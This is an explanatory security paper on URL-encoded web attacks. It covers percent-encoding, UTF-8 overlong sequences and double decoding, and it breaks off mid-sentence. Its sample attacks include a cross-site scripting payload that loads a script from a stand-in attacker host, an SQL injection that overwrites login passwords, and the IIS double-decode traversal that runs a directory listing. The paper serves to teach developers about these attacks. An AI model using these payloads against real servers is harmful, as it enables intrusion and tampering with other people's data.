URL Encoded Attacks
Attacks using the common web browser
by Gunter Ollmann
Web Browser Attacks
A popular misconception is that web hacking and defacement is difficult, often requiring detailed technical knowledge and specialist tools. Unfortunately, one of the best tools in a hacker’s arsenal is the common web browser. Using Microsoft’s Internet Explorer or Netscape’s Communicator, it is possible to identify and exploit many common vulnerability’s in both the remote web server’s hosting software and the site content, through simple URL editing. Over the last few years, the numbers of vulnerabilities and security flaws directly exploitable through this type of attack have increased phenomenally, primarily due to application developers failing to adequately check and decode the received client data.
[hide=10]
A large proportion of these attacks could be prevented by understanding the methods for encoding data currently supported by popular Internet protocols (such as HTTP) and hosting applications (such as Microsoft’s Internet Information Server). In particular, an understanding of URL encoding techniques is required. In many resources, the usage of various terms like Unicode, web encoding, percent-encoding, escape-encoding and UTF encoding are used interchangeably. This document aims to enlighten developers and security administrators on the issues associated with URL encoded attacks. It is also important to note that many of the encoding methods and security implications are applicable to any application accepting data from a client system.
URI Encoding
Character Restrictions
Uniform Resource Indicators (URI) are a compact string of characters for identifying an abstract or physical resource, typically a web based Uniform Resource Locator (URL). Certain rules and standards have been established to ensure a constructed URI can be correctly interpreted by an application (for more information, read “Uniform Resource Identifiers (URI): Generic Syntax”, http://www.ietf.org/rfc/rfc2396.txt).
Traditional web applications transfer data between client and server using the HTTP or HTTPS protocols. There are essentially two methods in which a server receives input from a client; data can be passed in the HTTP headers (submitted through the cookie field, or the post data field) or it can be included in the query portion of the requested URL. When data is included in a URL, it must be specially encoded to conform to proper URL syntax.
The standard (rfc2396) defines the following classes of characters:
* Unreserved – Data characters that do not have a reserved purpose. These include upper and lower case characters, decimal digits, and a limited set of punctuation marks and symbols.
* Reserved – Data characters that could conflict with the correct interpretation of a URI. Refers to those characters that are allowed within a URI, but which may not be allowed within a particular segment of the generic URI syntax.
Class Characters
Unreserved a-z, A-Z, 0-9 and _ . ! ~ * ' ( )
Reserved ; / ? : @ & = + $ ,
When dealing with IPv6, it is advised that to use a literal IPv6 address in a URL, the literal address should be enclosed in "[" and "]" characters. If this is the case, it is recommended that the characters “[“ and “]” are moved from the “unwise” list to the reserved list (for more information, read “Format for Literal IPv6 Addresses in URL's” http://www.ietf.org/rfc/rfc2732.txt).
Escaped-encoding
Escaped-encoding, or sometimes referred to as percent-encoding, is the accepted method of representing characters within a URI that may need special syntax handling to be correctly interpreted. This is achieved by encoding the character to be interpreted with a sequence of three characters. This triplet sequence consists of the percentage character “%” followed by the two hexadecimal digits representing the octet code of the original character. For example, the US-ASCII character set represents a space with octet code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.
Applications may automatically escape reserved and unreserved characters, or automatically un-escape an escape-encoded sequence within a URI, if there is potential for it to be incorrectly interpreted by the remote application. This conversion may be due to the position of the character or escape-encoded sequence within the URI. For example, "%7e" is sometimes used instead of "~" in an http URL path, but the two are equivalent for an http URL.
Because the percent "%" character always has the reserved purpose of being the escape indicator, it must be escaped as "%25" in order to be used as data within a URI. The RFC for URI encoding recommends that care should be taken not to escape or un-escape the same string more than once, since un-escaping an already un-escaped string might lead to misinterpreting a percent data character as another escaped character, or vice versa in the case of escaping an already escaped string.
Unreserved characters can be escaped without changing the semantics of the URI, but this should not be done unless the URI is being used in a context that does not allow the un-escaped character to appear.
The standard (rfc2396) defines the following groupings of characters that must be escaped to be included within a URI.
Grouping Characters
Control <US-ASCII coded characters 00-1F and 7F hexadecimal>
Space <US-ASCII coded character 20 hexadecimal>
Delims < > # % "
Unwise { } | \ ^ [ ] `
Unicode-Encoding
Unicode was developed in a direct response to problems associated with multiple language implementations of the ASCII character set. In the past, due to the limited size of the standard ASCII character reference table, different languages could use the same reference number for different characters, or the same character may have been represented by multiple reference numbers. As expected, this led to various problems in the display and interpretation of data, as well as hundreds of different methods of encoding country specific characters. These problems were further compounded by the necessity to reference an expanded array of commonly used punctuation and technical symbols.
Unicode Encoding is a method of referencing and storing characters with multiple bytes by providing a unique reference number for every character no matter what the language or platform. It is designed to allow a Universal Character Set (UCS) to encompass most of the world's writing systems. Many modern communication standards (such as XML, Java, LDAP, JavaScript, WML, etc.), operating systems and web clients/servers use Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit character encoding that contains all of the characters (216 = 65,536 different characters total) in common use in the world's major languages.
Unfortunately, the extended referencing system is not completely compatible with many old (albeit common) protocols and applications, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. One of the most commonly utilised formats, UTF-8, has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.
UTF-8
In UTF-8, characters are encoded using sequences of 1 to 6 octets. The only octet of a "sequence" of one has the higher-order bit set to 0, the remaining 7 bits being used to encode the character value. In a sequence of n octets, n>1, the initial octet has the n higher-order bits set to 1, followed by a bit set to 0. The remaining bit(s) of that octet contain bits from the value of the character to be encoded. The following octet(s) all have the higher-order bit set to 1 and the following bit set to 0, leaving 6 bits in each to contain bits from the character to be encoded.
The table below summarizes the format of these different octet types. The letter x indicates bits available for encoding bits of the UCS-4 character value.
UCS-4 range (hex.) UTF-8 octet sequence (binary)
0000 0000-0000 007F 0xxxxxxx
0000 0080-0000 07FF 110xxxxx 10xxxxxx
0000 0800-0000 FFFF 1110xxxx 10xxxxxx 10xxxxxx
0001 0000-001F FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
0020 0000-03FF FFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
0400 0000-7FFF FFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
The UTF-8 translation has the following characteristics:
* Character values from 0000 0000 to 0000 007F (US-ASCII repertoire) correspond to octets 00 to 7F (7 bit US-ASCII values). A direct consequence is that a plain ASCII string is also a valid UTF-8 string.
* The first octet of a multi-octet sequence indicates the number of octets in the sequence.
* The octet values FE and FF never appear.
At the application level, earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.
This encoding scheme may not seem overly clear, therefore consider the character “.” (dot) with the UCS-4 hexadecimal value of 0000 002E (which is 2E in US-ASCII). In UTF-8 encoding, this value can be represented in 6 different ways:
2E (00101110)
C0 AE (11000000 10101110)
E0 80 AE (11100000 10000000 10101110)
F0 80 80 AE (11110000 10000000 10000000 10101110)
F8 80 80 80 AE (11111000 10000000 10000000 10000000 10101110)
FC 80 80 80 80 AE (11111100 10000000 10000000 10000000 10000000 10101110)
Thus, the character may be represented with two bytes (C0 AE) by utilising the second UTF-8 level, three bytes (E0 80 AE) by utilising the third UTF-8 level, and so on to 6 bytes as indicated above.
Abuse of Encoding Schemes
URL-Encoding
A popular method of manipulating a web application for malicious ends is to extend the functionality of the URL in an HTTP or HTTPS request beyond that originally envisaged by the developer. Using a mix of escaped-encoding and Unicode character representation, it is often possible for an attacker to craft requests that may be interpreted by either the server or client environments as a valid application request. Even though certain characters do not need to be escape-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be escape-encoded, as can all HTML entities and any restricted characters used by the operating system or database. In some cases, the encoding of URL information may be designed to purposefully disguise the nature of the attack.
Examples of typical URL-Encoded attacks
Cross-Site Scripting
Excerpt from an arbitrary web page - “getdata.php”: echo $HTTP_GET_VARS[“data”];
URL-Encoded attack: http://target/getdata.php?data=%3cscript%2...22http%3a%2f%2f
www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e
HTML execution: <script src=”http://www.badplace.com/nasty.js”></script>
SQL Injection
Original database query in the example file - “login.asp”: SQLQuery = “SELECT preferences FROM logintable WHERE userid=’” & Request.QueryString(“userid”) & “’ AND password=’” & Request.QueryString(“password”) & “’;”
URL-encoded attack: http://target/login.asp?userid=bob%27%3b%2...%20set%20passwd
%3d%270wn3d%27%3b--%00
Executed database query: SELECT preferences FROM logintable WHERE userid=’bob’; update logintable set password=’0wn3d’;
Multiple Decoding
Various guidelines and RFC's carefully explain the method of decoding escape encoded characters and hint at the dangers associated with decoding multiple times and at multiple layers of an application. However, many applications still incorrectly parse escape-encoded data multiple times.
The significance of this form of attack is directly related to the order of decoding the escape-encoded URI, and when appropriate security checks are made on the validity of the URI data. For example, a commercial web server may originally decode all escape-encoded characters; part of the security verification may include the monitoring of “\..\” path recursion for sanity checking and to ensure that directory-path information does not expand beyond a defined limit. However, by escape-encoding this information multiple times, this security check may be circumvented on the initial decoding pass. If this information is then passed onto another application component, it may go through additional decoding, and result in an action not originally envisaged by the application developer.
The multiple escape-encoding of characters or sequences such as “\” or “..\” is particularly relevant in previously successful attacks against applications hosted on Microsoft Windows operating systems. Consider the character “\” as the escape-encoded sequence “%5c”. It is possible to further encode this sequence by escape-encoding each character individually ('%' = %25, '5' = %35, 'c' = %63), and combining them together in multiple ways or multiple times. For example:
* %255c
* %%35c
* %%35%63
* %25%35%63
* etc.
Thus, the sequence “..\” may be represented by “..%255c”, “..%%35c” or other permutation. After the first decoding, the sequence “..%255c” is converted to “..%5c”, and only in the second decoding pass is the sequence is finally converted to “..\”.
Example of a multiple decoding attack
Microsoft IIS Double Decode
When loading an executable CGI program, IIS will decode twice. First, CGI filename will be decoded to check if it is an executable file (for example, '.exe' or '.com' suffix check-up). Successfully passing the filename check-up, IIS will run another decode process. Normally, only CGI parameters should be decoded in this process. But this time IIS mistakenly decodes both CGI parameters and the decoded CGI filename. In this way, CGI filename is decoded twice by error.
(Visit http://www.microsoft.com/technet/security/...in/MS01-026.asp for more information)
Multiple decode attack: http://TARGET/scripts/..%255c..%%35cwinnt/.../c+dir+c:\
Host execution: dir c:\ (the directory list of C:\ is revealed)
Unicode Attacks
Describing how a Unicode attack functions, and why the resultant character string may be successful, is a difficult task due to the extreme variety and resulting complexity of the of Unicode-encoding. Three issues are prevalent; Character Mapping, Character Encoding, and how an application supports character mapping and encoding.
* The UTF-8 sequence for a character may take one of six different representations. Consider the “.” (dot) described earlier represented as 2E, C0 AE, E0 80 AE, F0 80 80 AE, F8 80 80 80 AE, or FC 80 80 80 80 AE.
* The UTF-8 sequence may contain not invalid values such as FE and FF. Further information on invalid values can be found at http://www.unicode.org/versions/corrigendum1.html.
In most circumstances, Unicode attacks have been successful due to poor security validating of the UTF-8 encoded character or string, and the interpretation of illegal octet sequences. Consider the following:
* An application may prohibit the use of the NUL character when parsed the single octet 00, but allow the illegal two-octet sequence C0 80 and interpret it as a NUL.
* An application may use a “short-cut” when decoding UTF-8, and only decode the six least significant bits. The two most significant bits, normally “10”, may also be replaced with “00”, “01” or “11”. Thus the “.” (dot) may be represented as C0 AE, C0 2E, C0 6E and C0 EE.
11000000 10101110 (C0 AE),
11000000 00101110 (C0 2E),
11000000 01101110 (C0 6E),
11000000 11101110 (C0 EE).
* Various application components may prohibit the use of the string “..\” and the corresponding single octet sequence 2E 2E 5C, yet permit the illegal octet sequence 2E C0 AE 5C.
In the majority of attacks, Unicode data will be escape-encoded for inclusion within the requested URL. Depending upon the application receiving the encoded request, a successful attack may be made using valid or invalid URL encoding.
* Valid URL encoding refers to the escape-encoding of each UTF-8 sequence octet. For example, the “/” (forward slash) UTF-8 sequence could be encoded as %C0%AF.
* An invalid URL encoding refers to the use of non-hexadecimal digits that may be incorrectly interpreted as an alternative, but valid, hexadecimal digit. For example, %C0 is interpreted as the character number (‘C’ - ‘A’ + 10 )
